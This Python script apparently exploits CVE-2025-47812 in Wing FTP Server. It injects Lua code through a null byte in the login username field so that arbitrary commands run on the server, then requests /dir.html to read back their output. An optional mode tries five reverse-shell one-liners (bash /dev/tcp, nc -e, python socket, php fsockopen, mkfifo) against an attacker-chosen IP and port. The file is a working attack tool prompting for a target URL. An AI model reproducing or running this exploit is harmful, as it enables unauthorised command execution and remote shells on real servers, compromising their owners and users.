import requests
import re
from urllib.parse import quote
import time

def get_uid_cookie(session, base_url, username, command):
    url = f"{base_url}/loginok.html"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
        "Origin": base_url,
        "Referer": f"{base_url}/login.html",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
        "sec-ch-ua": '"Not.A/Brand";v="99", "Chromium";v="136"',
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": '"Linux"',
    }

    encoded_username = quote(username)
    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    print(f"[*] Trying to get UID... Payload: {command}")
    try:
        response = session.post(url, data=payload, headers=headers)
        set_cookie = response.headers.get("Set-Cookie", "")
        match = re.search(r"UID=([a-f0-9]+)", set_cookie)
        if match:
            uid = match.group(1)
            print(f"[+] UID obtained: {uid}")
            return uid
        else:
            print("[-] UID not found!")
            return None
    except Exception as e:
        print(f"[-] Error occurred: {e}")
        return None

def post_to_dir(session, base_url, uid):
    url = f"{base_url}/dir.html"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
        "Origin": base_url,
        "Referer": f"{base_url}/login.html",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close",
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
        "sec-ch-ua": '"Not.A/Brand";v="99", "Chromium";v="136"',
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": '"Linux"',
        "Cookie": f"UID={uid}"
    }

    print("[*] Sending /dir.html request...")
    try:
        response = session.post(url, data=b"1", headers=headers)
        print(f"[+] HTTP {response.status_code}")
        print("------ Response Start ------")
        print(response.text)
        print("------ Response End ------")
    except Exception as e:
        print(f"[-] Error: {e}")

def main():
    print("=" * 60)
    print("   CVE-2025-47812 - Wing FTP Server RCE Exploit")
    print("=" * 60)

    base_url = input("Target URL (e.g., http://localhost:5466): ").strip()
    username = input("Username (e.g., anonymous): ").strip() or "anonymous"

    print("1) Run Command")
    print("2) Get Reverse Shell")
    choice = input("Your choice (1 or 2): ").strip()

    if choice == "1":
        command = input("Command to execute (default: whoami): ").strip() or "whoami"
        session = requests.Session()
        uid = get_uid_cookie(session, base_url, username, command)
        if uid:
            post_to_dir(session, base_url, uid)
        else:
            print("[-] Failed to obtain UID, exploit aborted.")
    elif choice == "2":
        ip = input("Reverse shell IP address: ").strip()
        port = input("Reverse shell port: ").strip()

        payloads = [
            f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"sh <&3 >&3 2>&3\");'",
            f"bash -i >& /dev/tcp/{ip}/{port} 0>&1",
            f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'",
            f"nc {ip} {port} -e /bin/sh",
            f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f"
        ]

        session = requests.Session()
        for pld in payloads:
            print(f"[*] Trying payload: {pld}")
            uid = get_uid_cookie(session, base_url, username, pld)
            if uid:
                post_to_dir(session, base_url, uid)
                print("[*] Payload sent, waiting for reverse shell...")
                time.sleep(3)
            else:
                print("[-] UID not obtained, trying next payload...")

    else:
        print("Invalid choice!")

if __name__ == "__main__":
    main()

